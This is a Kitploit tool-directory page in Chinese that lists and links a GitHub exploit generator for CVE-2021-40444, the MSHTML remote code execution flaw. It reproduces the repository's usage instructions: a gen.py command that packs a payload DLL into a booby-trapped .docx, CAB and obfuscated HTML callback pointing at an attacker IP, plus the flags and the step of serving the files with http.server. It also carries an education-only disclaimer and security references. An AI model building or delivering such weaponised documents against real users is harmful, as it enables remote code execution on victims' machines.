Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-40444 — 基于 Python 的 CVE-2021-40444(MSHTML 远程代码执行)漏洞利用生成器,通过模板驱动的载荷投递方式,利用恶意 Office 文档、CAB 压缩包以及混淆的 HTML/JS 回调实现攻击。 | Kitploit
工具/GitHubGitHub/h0j3n/cve-2021-40444
Payload生成漏洞利用Web应用程序漏洞利用命令与控制学习与教育
GitHubh0j3n/cve-2021-40444

CVE-2021-40444

基于 Python 的 CVE-2021-40444(MSHTML 远程代码执行)漏洞利用生成器,通过模板驱动的载荷投递方式,利用恶意 Office 文档、CAB 压缩包以及混淆的 HTML/JS 回调实现攻击。

查看仓库
11464年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-40444

用法

请先确保运行 setup.sh,因为你会需要一些目录。运行该脚本后,你应该可以通过下面给出的示例运行 gen.py:-

root@kitploit:~
# Usage
python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3

# Flag
-d -> Our .docx file that already been modified with Bitmap Object whether in header, document or footer
-i -> IP Address
-p -> Payload (.dll)
-t -> HTML File with Javascript
-r -> Rename the output of modified .docx 
-c -> Rename the output of patched .cab
-f -> Rename the output of .inf 
-obf -> Extra : Comes with 3 mode (HTML Entity, UTF-16BE or Both)
-v -> Increase output verbosity

注意事项

  1. http.server 的位置将在 web 目录中。该目录将包含 3 个文件:-
  • .cab
  • .html
  • .docx

无详细输出

without_verbose

带详细输出

with_verbose

免责声明

本仓库仅用于教育目的,不打算在现实环境中用于恶意企图。任何非法使用本仓库的行为,风险和责任完全由使用者自行承担。

参考资料

  1. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
  2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444
  3. https://github.com/klezVirus/CVE-2021-40444
  4. https://github.com/lockedbyte/CVE-2021-40444
  5. https://trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day--cve-2021-40444--hits-windows--tr.html
  6. https://tenable.com/blog/microsoft-s-september-2021-patch-tuesday-addresses-60-cves-cve-2021-40444
  7. https://news.sophos.com/en-us/2021/09/14/big-office-bug-squashed-for-september-2021s-patch-tuesday/
  8. https://huntress.com/blog/cybersecurity-advisory-hackers-are-exploiting-cve-2021-40444
  9. https://microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/
  10. https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/
  11. https://blog.sunggwanchoi.com/remote-template-injection/
  12. https://youtube.com/watch?v=dgdx3QqPCuA
  13. https://businessinsights.bitdefender.com/technical-advisory-zero-day-vulnerability-in-microsoft-mshtml-allows-remote-code-execution
下载工具